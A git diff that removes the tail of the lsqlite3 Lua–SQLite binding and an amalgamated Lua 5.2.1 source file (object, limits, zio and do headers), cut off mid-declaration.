- SC(NULL) - - /* terminator */ - { NULL, 0 } -}; - -/* ======================================================= */ - -static const luaL_Reg dblib[] = { - {"isopen", db_isopen }, - {"last_insert_rowid", db_last_insert_rowid }, - {"changes", db_changes }, - {"total_changes", db_total_changes }, - {"errcode", db_errcode }, - {"error_code", db_errcode }, - {"errmsg", db_errmsg }, - {"error_message", db_errmsg }, - {"interrupt", db_interrupt }, - - {"create_function", db_create_function }, - {"create_aggregate", db_create_aggregate }, - {"create_collation", db_create_collation }, - - {"trace", db_trace }, - {"progress_handler", db_progress_handler }, - {"busy_timeout", db_busy_timeout }, - {"busy_handler", db_busy_handler }, - - {"prepare", db_prepare }, - {"rows", db_rows }, - {"urows", db_urows }, - {"nrows", db_nrows }, - - {"exec", db_exec }, - {"execute", db_exec }, - {"close", db_close }, - {"close_vm", db_close_vm }, - - {"__tostring", db_tostring }, - {"__gc", db_gc }, - - {NULL, NULL} -}; - -static const luaL_Reg vmlib[] = { - {"isopen", dbvm_isopen }, - - {"step", dbvm_step }, - {"reset", dbvm_reset }, - {"finalize", dbvm_finalize }, - - {"columns", dbvm_columns }, - - {"bind", dbvm_bind }, - {"bind_values", dbvm_bind_values }, - {"bind_names", dbvm_bind_names }, - {"bind_blob", dbvm_bind_blob }, - {"bind_parameter_count",dbvm_bind_parameter_count}, - {"bind_parameter_name", dbvm_bind_parameter_name}, - - {"get_value", dbvm_get_value }, - {"get_values", dbvm_get_values }, - {"get_name", dbvm_get_name }, - {"get_names", dbvm_get_names }, - {"get_type", dbvm_get_type }, - {"get_types", dbvm_get_types }, - {"get_uvalues", dbvm_get_uvalues }, - {"get_unames", dbvm_get_unames }, - {"get_utypes", dbvm_get_utypes }, - - {"get_named_values", dbvm_get_named_values }, - {"get_named_types", dbvm_get_named_types }, - - {"rows", dbvm_rows }, - {"urows", dbvm_urows }, - {"nrows", dbvm_nrows }, - - /* compatibility names (added by request) */ - {"idata", dbvm_get_values }, - {"inames", dbvm_get_names }, - {"itypes", dbvm_get_types }, - {"data", dbvm_get_named_values }, - {"type", dbvm_get_named_types }, - - {"__tostring", dbvm_tostring }, - {"__gc", dbvm_gc }, - - { NULL, NULL } -}; - -static const luaL_Reg ctxlib[] = { - {"user_data", lcontext_user_data }, - - {"get_aggregate_data", lcontext_get_aggregate_context }, - {"set_aggregate_data", lcontext_set_aggregate_context }, - {"aggregate_count", lcontext_aggregate_count }, - - {"result", lcontext_result }, - {"result_null", lcontext_result_null }, - {"result_number", lcontext_result_double }, - {"result_double", lcontext_result_double }, - {"result_int", lcontext_result_int }, - {"result_text", lcontext_result_text }, - {"result_blob", lcontext_result_blob }, - {"result_error", lcontext_result_error }, - - {"__tostring", lcontext_tostring }, - {NULL, NULL} -}; - -static const luaL_Reg sqlitelib[] = { - {"version", lsqlite_version }, - {"complete", lsqlite_complete }, -#ifndef WIN32 - {"temp_directory", lsqlite_temp_directory }, -#endif - {"open", lsqlite_open }, - {"open_memory", lsqlite_open_memory }, - - {"__newindex", lsqlite_newindex }, - {NULL, NULL} -}; - -static void create_meta(lua_State *L, const char *name, const luaL_Reg *lib) { - luaL_newmetatable(L, name); - lua_pushstring(L, "__index"); - lua_pushvalue(L, -2); /* push metatable */ - lua_rawset(L, -3); /* metatable.__index = metatable */ - - /* register metatable functions */ - luaL_openlib(L, NULL, lib, 0); - - /* remove metatable from stack */ - lua_pop(L, 1); -} - -LUALIB_API int luaopen_lsqlite3(lua_State *L) { - create_meta(L, sqlite_meta, dblib); - create_meta(L, sqlite_vm_meta, vmlib); - create_meta(L, sqlite_ctx_meta, ctxlib); - - luaL_getmetatable(L, sqlite_ctx_meta); - sqlite_ctx_meta_ref = luaL_ref(L, LUA_REGISTRYINDEX); - - /* register (local) sqlite metatable */ - luaL_register(L, "sqlite3", sqlitelib); - - { - int i = 0; - /* add constants to global table */ - while (sqlite_constants[i].name) { - lua_pushstring(L, sqlite_constants[i].name); - lua_pushnumber(L, sqlite_constants[i].value); - lua_rawset(L, -3); - ++i; - } - } - - /* set sqlite's metatable to itself - set as readonly (__newindex) */ - lua_pushvalue(L, -1); - lua_setmetatable(L, -2); - - return 1; -} diff --git a/build/lua_5.2.1.c b/build/lua_5.2.1.c deleted file mode 100644 index c7ccf940..00000000 --- a/build/lua_5.2.1.c +++ /dev/null @@ -1,17698 +0,0 @@ -#define LUA_CORE -#define LUA_LIB -#define lobject_c -#define lua_c -#define ltable_c -#include "lua_5.2.1.h" -/* -** $Id: llimits.h,v 1.99 2012/05/28 20:32:28 roberto Exp $ -** Limits, basic types, and some other `installation-dependent' definitions -** See Copyright Notice in lua.h -*/ - -#ifndef llimits_h -#define llimits_h - - -#include -#include - - - - -typedef unsigned LUA_INT32 lu_int32; - -typedef LUAI_UMEM lu_mem; - -typedef LUAI_MEM l_mem; - - - -/* chars used as small naturals (so that `char' is reserved for characters) */ -typedef unsigned char lu_byte; - - -#define MAX_SIZET ((size_t)(~(size_t)0)-2) - -#define MAX_LUMEM ((lu_mem)(~(lu_mem)0)-2) - -#define MAX_LMEM ((l_mem) ((MAX_LUMEM >> 1) - 2)) - - -#define MAX_INT (INT_MAX-2) /* maximum value of an int (-2 for safety) */ - -/* -** conversion of pointer to integer -** this is for hashing only; there is no problem if the integer -** cannot hold the whole pointer value -*/ -#define IntPoint(p) ((unsigned int)(lu_mem)(p)) - - - -/* type to ensure maximum alignment */ -#if !defined(LUAI_USER_ALIGNMENT_T) -#define LUAI_USER_ALIGNMENT_T union { double u; void *s; long l; } -#endif - -typedef LUAI_USER_ALIGNMENT_T L_Umaxalign; - - -/* result of a `usual argument conversion' over lua_Number */ -typedef LUAI_UACNUMBER l_uacNumber; - - -/* internal assertions for in-house debugging */ -#if defined(lua_assert) -#define check_exp(c,e) (lua_assert(c), (e)) -/* to avoid problems with conditions too long */ -#define lua_longassert(c) { if (!(c)) lua_assert(0); } -#else -#define lua_assert(c) ((void)0) -#define check_exp(c,e) (e) -#define lua_longassert(c) ((void)0) -#endif - -/* -** assertion for checking API calls -*/ -#if !defined(luai_apicheck) - -#if defined(LUA_USE_APICHECK) -#include -#define luai_apicheck(L,e) assert(e) -#else -#define luai_apicheck(L,e) lua_assert(e) -#endif - -#endif - -#define api_check(l,e,msg) luai_apicheck(l,(e) && msg) - - -#if !defined(UNUSED) -#define UNUSED(x) ((void)(x)) /* to avoid warnings */ -#endif - - -#define cast(t, exp) ((t)(exp)) - -#define cast_byte(i) cast(lu_byte, (i)) -#define cast_num(i) cast(lua_Number, (i)) -#define cast_int(i) cast(int, (i)) -#define cast_uchar(i) cast(unsigned char, (i)) - - -/* -** non-return type -*/ -#if defined(__GNUC__) -#define l_noret void __attribute__((noreturn)) -#elif defined(_MSC_VER) -#define l_noret void __declspec(noreturn) -#else -#define l_noret void -#endif - - - -/* -** maximum depth for nested C calls and syntactical nested non-terminals -** in a program. (Value must fit in an unsigned short int.) -*/ -#if !defined(LUAI_MAXCCALLS) -#define LUAI_MAXCCALLS 200 -#endif - -/* -** maximum number of upvalues in a closure (both C and Lua). (Value -** must fit in an unsigned char.) -*/ -#define MAXUPVAL UCHAR_MAX - - -/* -** type for virtual-machine instructions -** must be an unsigned with (at least) 4 bytes (see details in lopcodes.h) -*/ -typedef lu_int32 Instruction; - - - -/* maximum stack for a Lua function */ -#define MAXSTACK 250 - - - -/* minimum size for the string table (must be power of 2) */ -#if !defined(MINSTRTABSIZE) -#define MINSTRTABSIZE 32 -#endif - - -/* minimum size for string buffer */ -#if !defined(LUA_MINBUFFER) -#define LUA_MINBUFFER 32 -#endif - - -#if !defined(lua_lock) -#define lua_lock(L) ((void) 0) -#define lua_unlock(L) ((void) 0) -#endif - -#if !defined(luai_threadyield) -#define luai_threadyield(L) {lua_unlock(L); lua_lock(L);} -#endif - - -/* -** these macros allow user-specific actions on threads when you defined -** LUAI_EXTRASPACE and need to do something extra when a thread is -** created/deleted/resumed/yielded. -*/ -#if !defined(luai_userstateopen) -#define luai_userstateopen(L) ((void)L) -#endif - -#if !defined(luai_userstateclose) -#define luai_userstateclose(L) ((void)L) -#endif - -#if !defined(luai_userstatethread) -#define luai_userstatethread(L,L1) ((void)L) -#endif - -#if !defined(luai_userstatefree) -#define luai_userstatefree(L,L1) ((void)L) -#endif - -#if !defined(luai_userstateresume) -#define luai_userstateresume(L,n) ((void)L) -#endif - -#if !defined(luai_userstateyield) -#define luai_userstateyield(L,n) ((void)L) -#endif - -/* -** lua_number2int is a macro to convert lua_Number to int. -** lua_number2integer is a macro to convert lua_Number to lua_Integer. -** lua_number2unsigned is a macro to convert a lua_Number to a lua_Unsigned. -** lua_unsigned2number is a macro to convert a lua_Unsigned to a lua_Number. -** luai_hashnum is a macro to hash a lua_Number value into an integer. -** The hash must be deterministic and give reasonable values for -** both small and large values (outside the range of integers). -*/ - -#if defined(MS_ASMTRICK) /* { */ -/* trick with Microsoft assembler for X86 */ - -#define lua_number2int(i,n) __asm {__asm fld n __asm fistp i} -#define lua_number2integer(i,n) lua_number2int(i, n) -#define lua_number2unsigned(i,n) \ - {__int64 l; __asm {__asm fld n __asm fistp l} i = (unsigned int)l;} - - -#elif defined(LUA_IEEE754TRICK) /* }{ */ -/* the next trick should work on any machine using IEEE754 with - a 32-bit int type */ - -union luai_Cast { double l_d; LUA_INT32 l_p[2]; }; - -#if !defined(LUA_IEEEENDIAN) /* { */ -#define LUAI_EXTRAIEEE \ - static const union luai_Cast ieeeendian = {-(33.0 + 6755399441055744.0)}; -#define LUA_IEEEENDIANLOC (ieeeendian.l_p[1] == 33) -#else -#define LUA_IEEEENDIANLOC LUA_IEEEENDIAN -#define LUAI_EXTRAIEEE /* empty */ -#endif /* } */ - -#define lua_number2int32(i,n,t) \ - { LUAI_EXTRAIEEE \ - volatile union luai_Cast u; u.l_d = (n) + 6755399441055744.0; \ - (i) = (t)u.l_p[LUA_IEEEENDIANLOC]; } - -#define luai_hashnum(i,n) \ - { volatile union luai_Cast u; u.l_d = (n) + 1.0; /* avoid -0 */ \ - (i) = u.l_p[0]; (i) += u.l_p[1]; } /* add double bits for his hash */ - -#define lua_number2int(i,n) lua_number2int32(i, n, int) -#define lua_number2unsigned(i,n) lua_number2int32(i, n, lua_Unsigned) - -/* the trick can be expanded to lua_Integer when it is a 32-bit value */ -#if defined(LUA_IEEELL) -#define lua_number2integer(i,n) lua_number2int32(i, n, lua_Integer) -#endif - -#endif /* } */ - - -/* the following definitions always work, but may be slow */ - -#if !defined(lua_number2int) -#define lua_number2int(i,n) ((i)=(int)(n)) -#endif - -#if !defined(lua_number2integer) -#define lua_number2integer(i,n) ((i)=(lua_Integer)(n)) -#endif - -#if !defined(lua_number2unsigned) /* { */ -/* the following definition assures proper modulo behavior */ -#if defined(LUA_NUMBER_DOUBLE) -#include -#define SUPUNSIGNED ((lua_Number)(~(lua_Unsigned)0) + 1) -#define lua_number2unsigned(i,n) \ - ((i)=(lua_Unsigned)((n) - floor((n)/SUPUNSIGNED)*SUPUNSIGNED)) -#else -#define lua_number2unsigned(i,n) ((i)=(lua_Unsigned)(n)) -#endif -#endif /* } */ - - -#if !defined(lua_unsigned2number) -/* on several machines, coercion from unsigned to double is slow, - so it may be worth to avoid */ -#define lua_unsigned2number(u) \ - (((u) <= (lua_Unsigned)INT_MAX) ? (lua_Number)(int)(u) : (lua_Number)(u)) -#endif - - - -#if defined(ltable_c) && !defined(luai_hashnum) - -#include -#include - -#define luai_hashnum(i,n) { int e; \ - n = frexp(n, &e) * (lua_Number)(INT_MAX - DBL_MAX_EXP); \ - lua_number2int(i, n); i += e; } - -#endif - - - -/* -** macro to control inclusion of some hard tests on stack reallocation -*/ -#if !defined(HARDSTACKTESTS) -#define condmovestack(L) ((void)0) -#else -/* realloc stack keeping its size */ -#define condmovestack(L) luaD_reallocstack((L), (L)->stacksize) -#endif - -#if !defined(HARDMEMTESTS) -#define condchangemem(L) condmovestack(L) -#else -#define condchangemem(L) \ - ((void)(!(G(L)->gcrunning) || (luaC_fullgc(L, 0), 1))) -#endif - -#endif -/* -** $Id: lobject.h,v 2.70 2012/05/11 14:10:50 roberto Exp $ -** Type definitions for Lua objects -** See Copyright Notice in lua.h -*/ - - -#ifndef lobject_h -#define lobject_h - - -#include - - - - -/* -** Extra tags for non-values -*/ -#define LUA_TPROTO LUA_NUMTAGS -#define LUA_TUPVAL (LUA_NUMTAGS+1) -#define LUA_TDEADKEY (LUA_NUMTAGS+2) - -/* -** number of all possible tags (including LUA_TNONE but excluding DEADKEY) -*/ -#define LUA_TOTALTAGS (LUA_TUPVAL+2) - - -/* -** tags for Tagged Values have the following use of bits: -** bits 0-3: actual tag (a LUA_T* value) -** bits 4-5: variant bits -** bit 6: whether value is collectable -*/ - -#define VARBITS (3 << 4) - - -/* -** LUA_TFUNCTION variants: -** 0 - Lua function -** 1 - light C function -** 2 - regular C function (closure) -*/ - -/* Variant tags for functions */ -#define LUA_TLCL (LUA_TFUNCTION | (0 << 4)) /* Lua closure */ -#define LUA_TLCF (LUA_TFUNCTION | (1 << 4)) /* light C function */ -#define LUA_TCCL (LUA_TFUNCTION | (2 << 4)) /* C closure */ - - -/* -** LUA_TSTRING variants */ -#define LUA_TSHRSTR (LUA_TSTRING | (0 << 4)) /* short strings */ -#define LUA_TLNGSTR (LUA_TSTRING | (1 << 4)) /* long strings */ - - -/* Bit mark for collectable types */ -#define BIT_ISCOLLECTABLE (1 << 6) - -/* mark a tag as collectable */ -#define ctb(t) ((t) | BIT_ISCOLLECTABLE) - - -/* -** Union of all collectable objects -*/ -typedef union GCObject GCObject; - - -/* -** Common Header for all collectable objects (in macro form, to be -** included in other objects) -*/ -#define CommonHeader GCObject *next; lu_byte tt; lu_byte marked - - -/* -** Common header in struct form -*/ -typedef struct GCheader { - CommonHeader; -} GCheader; - - - -/* -** Union of all Lua values -*/ -typedef union Value Value; - - -#define numfield lua_Number n; /* numbers */ - - - -/* -** Tagged Values. This is the basic representation of values in Lua, -** an actual value plus a tag with its type. -*/ - -#define TValuefields Value value_; int tt_ - -typedef struct lua_TValue TValue; - - -/* macro defining a nil value */ -#define NILCONSTANT {NULL}, LUA_TNIL - - -#define val_(o) ((o)->value_) -#define num_(o) (val_(o).n) - - -/* raw type tag of a TValue */ -#define rttype(o) ((o)->tt_) - -/* tag with no variants (bits 0-3) */ -#define novariant(x) ((x) & 0x0F) - -/* type tag of a TValue (bits 0-3 for tags + variant bits 4-5) */ -#define ttype(o) (rttype(o) & 0x3F) - -/* type tag of a TValue with no variants (bits 0-3) */ -#define ttypenv(o) (novariant(rttype(o))) - - -/* Macros to test type */ -#define checktag(o,t) (rttype(o) == (t)) -#define checktype(o,t) (ttypenv(o) == (t)) -#define ttisnumber(o) checktag((o), LUA_TNUMBER) -#define ttisnil(o) checktag((o), LUA_TNIL) -#define ttisboolean(o) checktag((o), LUA_TBOOLEAN) -#define ttislightuserdata(o) checktag((o), LUA_TLIGHTUSERDATA) -#define ttisstring(o) checktype((o), LUA_TSTRING) -#define ttisshrstring(o) checktag((o), ctb(LUA_TSHRSTR)) -#define ttislngstring(o) checktag((o), ctb(LUA_TLNGSTR)) -#define ttistable(o) checktag((o), ctb(LUA_TTABLE)) -#define ttisfunction(o) checktype(o, LUA_TFUNCTION) -#define ttisclosure(o) ((rttype(o) & 0x1F) == LUA_TFUNCTION) -#define ttisCclosure(o) checktag((o), ctb(LUA_TCCL)) -#define ttisLclosure(o) checktag((o), ctb(LUA_TLCL)) -#define ttislcf(o) checktag((o), LUA_TLCF) -#define ttisuserdata(o) checktag((o), ctb(LUA_TUSERDATA)) -#define ttisthread(o) checktag((o), ctb(LUA_TTHREAD)) -#define ttisdeadkey(o) checktag((o), LUA_TDEADKEY) - -#define ttisequal(o1,o2) (rttype(o1) == rttype(o2)) - -/* Macros to access values */ -#define nvalue(o) check_exp(ttisnumber(o), num_(o)) -#define gcvalue(o) check_exp(iscollectable(o), val_(o).gc) -#define pvalue(o) check_exp(ttislightuserdata(o), val_(o).p) -#define rawtsvalue(o) check_exp(ttisstring(o), &val_(o).gc->ts) -#define tsvalue(o) (&rawtsvalue(o)->tsv) -#define rawuvalue(o) check_exp(ttisuserdata(o), &val_(o).gc->u) -#define uvalue(o) (&rawuvalue(o)->uv) -#define clvalue(o) check_exp(ttisclosure(o), &val_(o).gc->cl) -#define clLvalue(o) check_exp(ttisLclosure(o), &val_(o).gc->cl.l) -#define clCvalue(o) check_exp(ttisCclosure(o), &val_(o).gc->cl.c) -#define fvalue(o) check_exp(ttislcf(o), val_(o).f) -#define hvalue(o) check_exp(ttistable(o), &val_(o).gc->h) -#define bvalue(o) check_exp(ttisboolean(o), val_(o).b) -#define thvalue(o) check_exp(ttisthread(o), &val_(o).gc->th) -/* a dead value may get the 'gc' field, but cannot access its contents */ -#define deadvalue(o) check_exp(ttisdeadkey(o), cast(void *, val_(o).gc)) - -#define l_isfalse(o) (ttisnil(o) || (ttisboolean(o) && bvalue(o) == 0)) - - -#define iscollectable(o) (rttype(o) & BIT_ISCOLLECTABLE) - - -/* Macros for internal tests */ -#define righttt(obj) (ttype(obj) == gcvalue(obj)->gch.tt) - -#define checkliveness(g,obj) \ - lua_longassert(!iscollectable(obj) || \ - (righttt(obj) && !isdead(g,gcvalue(obj)))) - - -/* Macros to set values */ -#define settt_(o,t) ((o)->tt_=(t)) - -#define setnvalue(obj,x) \ - { TValue *io=(obj); num_(io)=(x); settt_(io, LUA_TNUMBER); } - -#define changenvalue(o,x) check_exp(ttisnumber(o), num_(o)=(x)) - -#define setnilvalue(obj) settt_(obj, LUA_TNIL) - -#define setfvalue(obj,x) \ - { TValue *io=(obj); val_(io).f=(x); settt_(io, LUA_TLCF); } - -#define setpvalue(obj,x) \ - { TValue *io=(obj); val_(io).p=(x); settt_(io, LUA_TLIGHTUSERDATA); } - -#define setbvalue(obj,x) \ - { TValue *io=(obj); val_(io).b=(x); settt_(io, LUA_TBOOLEAN); } - -#define setgcovalue(L,obj,x) \ - { TValue *io=(obj); GCObject *i_g=(x); \ - val_(io).gc=i_g; settt_(io, ctb(gch(i_g)->tt)); } - -#define setsvalue(L,obj,x) \ - { TValue *io=(obj); \ - TString *x_ = (x); \ - val_(io).gc=cast(GCObject *, x_); settt_(io, ctb(x_->tsv.tt)); \ - checkliveness(G(L),io); } - -#define setuvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TUSERDATA)); \ - checkliveness(G(L),io); } - -#define setthvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TTHREAD)); \ - checkliveness(G(L),io); } - -#define setclLvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TLCL)); \ - checkliveness(G(L),io); } - -#define setclCvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TCCL)); \ - checkliveness(G(L),io); } - -#define sethvalue(L,obj,x) \ - { TValue *io=(obj); \ - val_(io).gc=cast(GCObject *, (x)); settt_(io, ctb(LUA_TTABLE)); \ - checkliveness(G(L),io); } - -#define setdeadvalue(obj) settt_(obj, LUA_TDEADKEY) - - - -#define setobj(L,obj1,obj2) \ - { const TValue *io2=(obj2); TValue *io1=(obj1); \ - io1->value_ = io2->value_; io1->tt_ = io2->tt_; \ - checkliveness(G(L),io1); } - - -/* -** different types of assignments, according to destination -*/ - -/* from stack to (same) stack */ -#define setobjs2s setobj -/* to stack (not from same stack) */ -#define setobj2s setobj -#define setsvalue2s setsvalue -#define sethvalue2s sethvalue -#define setptvalue2s setptvalue -/* from table to same table */ -#define setobjt2t setobj -/* to table */ -#define setobj2t setobj -/* to new object */ -#define setobj2n setobj -#define setsvalue2n setsvalue - - -/* check whether a number is valid (useful only for NaN trick) */ -#define luai_checknum(L,o,c) { /* empty */ } - - -/* -** {====================================================== -** NaN Trick -** ======================================================= -*/ -#if defined(LUA_NANTRICK) - -/* -** numbers are represented in the 'd_' field. All other values have the -** value (NNMARK | tag) in 'tt__'. A number with such pattern would be -** a "signaled NaN", which is never generated by regular operations by -** the CPU (nor by 'strtod') -*/ - -/* allows for external implementation for part of the trick */ -#if !defined(NNMARK) /* { */ - - -#if !defined(LUA_IEEEENDIAN) -#error option 'LUA_NANTRICK' needs 'LUA_IEEEENDIAN' -#endif - - -#define NNMARK 0x7FF7A500 -#define NNMASK 0x7FFFFF00 - -#undef TValuefields -#undef NILCONSTANT - -#if (LUA_IEEEENDIAN == 0) /* { */ - -/* little endian */ -#define TValuefields \ - union { struct { Value v__; int tt__; } i; double d__; } u -#define NILCONSTANT {{{NULL}, tag2tt(LUA_TNIL)}} -/* field-access macros */ -#define v_(o) ((o)->u.i.v__) -#define d_(o) ((o)->u.d__) -#define tt_(o) ((o)->u.i.tt__) - -#else /* }{ */ - -/* big endian */ -#define TValuefields \ - union { struct { int tt__; Value v__; } i; double d__; } u -#define NILCONSTANT {{tag2tt(LUA_TNIL), {NULL}}} -/* field-access macros */ -#define v_(o) ((o)->u.i.v__) -#define d_(o) ((o)->u.d__) -#define tt_(o) ((o)->u.i.tt__) - -#endif /* } */ - -#endif /* } */ - - -/* correspondence with standard representation */ -#undef val_ -#define val_(o) v_(o) -#undef num_ -#define num_(o) d_(o) - - -#undef numfield -#define numfield /* no such field; numbers are the entire struct */ - -/* basic check to distinguish numbers from non-numbers */ -#undef ttisnumber -#define ttisnumber(o) ((tt_(o) & NNMASK) != NNMARK) - -#define tag2tt(t) (NNMARK | (t)) - -#undef rttype -#define rttype(o) (ttisnumber(o) ? LUA_TNUMBER : tt_(o) & 0xff) - -#undef settt_ -#define settt_(o,t) (tt_(o) = tag2tt(t)) - -#undef setnvalue -#define setnvalue(obj,x) \ - { TValue *io_=(obj); num_(io_)=(x); lua_assert(ttisnumber(io_)); } - -#undef setobj -#define setobj(L,obj1,obj2) \ - { const TValue *o2_=(obj2); TValue *o1_=(obj1); \ - o1_->u = o2_->u; \ - checkliveness(G(L),o1_); } - - -/* -** these redefinitions are not mandatory, but these forms are more efficient -*/ - -#undef checktag -#undef checktype -#define checktag(o,t) (tt_(o) == tag2tt(t)) -#define checktype(o,t) (ctb(tt_(o) | VARBITS) == ctb(tag2tt(t) | VARBITS)) - -#undef ttisequal -#define ttisequal(o1,o2) \ - (ttisnumber(o1) ? ttisnumber(o2) : (tt_(o1) == tt_(o2))) - - -#undef luai_checknum -#define luai_checknum(L,o,c) { if (!ttisnumber(o)) c; } - -#endif -/* }====================================================== */ - - - -/* -** {====================================================== -** types and prototypes -** ======================================================= -*/ - - -union Value { - GCObject *gc; /* collectable objects */ - void *p; /* light userdata */ - int b; /* booleans */ - lua_CFunction f; /* light C functions */ - numfield /* numbers */ -}; - - -struct lua_TValue { - TValuefields; -}; - - -typedef TValue *StkId; /* index to stack elements */ - - - - -/* -** Header for string value; string bytes follow the end of this structure -*/ -typedef union TString { - L_Umaxalign dummy; /* ensures maximum alignment for strings */ - struct { - CommonHeader; - lu_byte extra; /* reserved words for short strings; "has hash" for longs */ - unsigned int hash; - size_t len; /* number of characters in string */ - } tsv; -} TString; - - -/* get the actual string (array of bytes) from a TString */ -#define getstr(ts) cast(const char *, (ts) + 1) - -/* get the actual string (array of bytes) from a Lua value */ -#define svalue(o) getstr(rawtsvalue(o)) - - -/* -** Header for userdata; memory area follows the end of this structure -*/ -typedef union Udata { - L_Umaxalign dummy; /* ensures maximum alignment for `local' udata */ - struct { - CommonHeader; - struct Table *metatable; - struct Table *env; - size_t len; /* number of bytes */ - } uv; -} Udata; - - - -/* -** Description of an upvalue for function prototypes -*/ -typedef struct Upvaldesc { - TString *name; /* upvalue name (for debug information) */ - lu_byte instack; /* whether it is in stack */ - lu_byte idx; /* index of upvalue (in stack or in outer function's list) */ -} Upvaldesc; - - -/* -** Description of a local variable for function prototypes -** (used for debug information) -*/ -typedef struct LocVar { - TString *varname; - int startpc; /* first point where variable is active */ - int endpc; /* first point where variable is dead */ -} LocVar; - - -/* -** Function Prototypes -*/ -typedef struct Proto { - CommonHeader; - TValue *k; /* constants used by the function */ - Instruction *code; - struct Proto **p; /* functions defined inside the function */ - int *lineinfo; /* map from opcodes to source lines (debug information) */ - LocVar *locvars; /* information about local variables (debug information) */ - Upvaldesc *upvalues; /* upvalue information */ - union Closure *cache; /* last created closure with this prototype */ - TString *source; /* used for debug information */ - int sizeupvalues; /* size of 'upvalues' */ - int sizek; /* size of `k' */ - int sizecode; - int sizelineinfo; - int sizep; /* size of `p' */ - int sizelocvars; - int linedefined; - int lastlinedefined; - GCObject *gclist; - lu_byte numparams; /* number of fixed parameters */ - lu_byte is_vararg; - lu_byte maxstacksize; /* maximum stack used by this function */ -} Proto; - - - -/* -** Lua Upvalues -*/ -typedef struct UpVal { - CommonHeader; - TValue *v; /* points to stack or to its own value */ - union { - TValue value; /* the value (when closed) */ - struct { /* double linked list (when open) */ - struct UpVal *prev; - struct UpVal *next; - } l; - } u; -} UpVal; - - -/* -** Closures -*/ - -#define ClosureHeader \ - CommonHeader; lu_byte nupvalues; GCObject *gclist - -typedef struct CClosure { - ClosureHeader; - lua_CFunction f; - TValue upvalue[1]; /* list of upvalues */ -} CClosure; - - -typedef struct LClosure { - ClosureHeader; - struct Proto *p; - UpVal *upvals[1]; /* list of upvalues */ -} LClosure; - - -typedef union Closure { - CClosure c; - LClosure l; -} Closure; - - -#define isLfunction(o) ttisLclosure(o) - -#define getproto(o) (clLvalue(o)->p) - - -/* -** Tables -*/ - -typedef union TKey { - struct { - TValuefields; - struct Node *next; /* for chaining */ - } nk; - TValue tvk; -} TKey; - - -typedef struct Node { - TValue i_val; - TKey i_key; -} Node; - - -typedef struct Table { - CommonHeader; - lu_byte flags; /* 1<

lsizenode)) - - -/* -** (address of) a fixed nil value -*/ -#define luaO_nilobject (&luaO_nilobject_) - - -LUAI_DDEC const TValue luaO_nilobject_; - - -LUAI_FUNC int luaO_int2fb (unsigned int x); -LUAI_FUNC int luaO_fb2int (int x); -LUAI_FUNC int luaO_ceillog2 (unsigned int x); -LUAI_FUNC lua_Number luaO_arith (int op, lua_Number v1, lua_Number v2); -LUAI_FUNC int luaO_str2d (const char *s, size_t len, lua_Number *result); -LUAI_FUNC int luaO_hexavalue (int c); -LUAI_FUNC const char *luaO_pushvfstring (lua_State *L, const char *fmt, - va_list argp); -LUAI_FUNC const char *luaO_pushfstring (lua_State *L, const char *fmt, ...); -LUAI_FUNC void luaO_chunkid (char *out, const char *source, size_t len); - - -#endif - -/* -** $Id: lapi.h,v 2.7 2009/11/27 15:37:59 roberto Exp $ -** Auxiliary functions from Lua API -** See Copyright Notice in lua.h -*/ - -#ifndef lapi_h -#define lapi_h - - - -#define api_incr_top(L) {L->top++; api_check(L, L->top <= L->ci->top, \ - "stack overflow");} - -#define adjustresults(L,nres) \ - { if ((nres) == LUA_MULTRET && L->ci->top < L->top) L->ci->top = L->top; } - -#define api_checknelems(L,n) api_check(L, (n) < (L->top - L->ci->func), \ - "not enough elements in the stack") - - -#endif -/* -** $Id: lzio.h,v 1.26 2011/07/15 12:48:03 roberto Exp $ -** Buffered streams -** See Copyright Notice in lua.h -*/ - - -#ifndef lzio_h -#define lzio_h - - - - -#define EOZ (-1) /* end of stream */ - -typedef struct Zio ZIO; - -#define zgetc(z) (((z)->n--)>0 ? cast_uchar(*(z)->p++) : luaZ_fill(z)) - - -typedef struct Mbuffer { - char *buffer; - size_t n; - size_t buffsize; -} Mbuffer; - -#define luaZ_initbuffer(L, buff) ((buff)->buffer = NULL, (buff)->buffsize = 0) - -#define luaZ_buffer(buff) ((buff)->buffer) -#define luaZ_sizebuffer(buff) ((buff)->buffsize) -#define luaZ_bufflen(buff) ((buff)->n) - -#define luaZ_resetbuffer(buff) ((buff)->n = 0) - - -#define luaZ_resizebuffer(L, buff, size) \ - (luaM_reallocvector(L, (buff)->buffer, (buff)->buffsize, size, char), \ - (buff)->buffsize = size) - -#define luaZ_freebuffer(L, buff) luaZ_resizebuffer(L, buff, 0) - - -LUAI_FUNC char *luaZ_openspace (lua_State *L, Mbuffer *buff, size_t n); -LUAI_FUNC void luaZ_init (lua_State *L, ZIO *z, lua_Reader reader, - void *data); -LUAI_FUNC size_t luaZ_read (ZIO* z, void* b, size_t n); /* read next n bytes */ - - - -/* --------- Private Part ------------------ */ - -struct Zio { - size_t n; /* bytes still unread */ - const char *p; /* current position in buffer */ - lua_Reader reader; /* reader function */ - void* data; /* additional data */ - lua_State *L; /* Lua state (for reader) */ -}; - - -LUAI_FUNC int luaZ_fill (ZIO *z); - -#endif -/* -** $Id: ldo.h,v 2.20 2011/11/29 15:55:08 roberto Exp $ -** Stack and Call structure of Lua -** See Copyright Notice in lua.h -*/ - -#ifndef ldo_h -#define ldo_h - - - - -#define luaD_checkstack(L,n) if (L->stack_last - L->top <= (n)) \ - luaD_growstack(L, n); else condmovestack(L); - - -#define incr_top(L) {L->top++; luaD_checkstack(L,0);} - -#define savestack(L,p) ((char *)(p) - (char *)L->stack) -#define restorestack(L,n) ((TValue *)((char *)L->stack + (n))) - - -/* type of protected functions, to be ran by `runprotected' */ -typedef void (*Pfunc) (lua_State *L, void *ud); - -LUAI_FUNC int luaD_protectedparser (lua_State *L, ZIO *z, const char *name, - const char *mode); -LUAI_FUNC void luaD_hook (lua_State *L, int event, int line); -LUAI_FUNC int luaD_precall (lua_State *L, StkId func, int nresults); -LUAI_FUNC void luaD_call (lua_State *L, StkId func, int nResults, - int allowyield); -LUAI_FUNC int luaD_pcall (lua_State *L, Pfunc func, void *u, - ptrdiff_t oldtop, ptrdiff_t ef); -LUAI_FUNC int 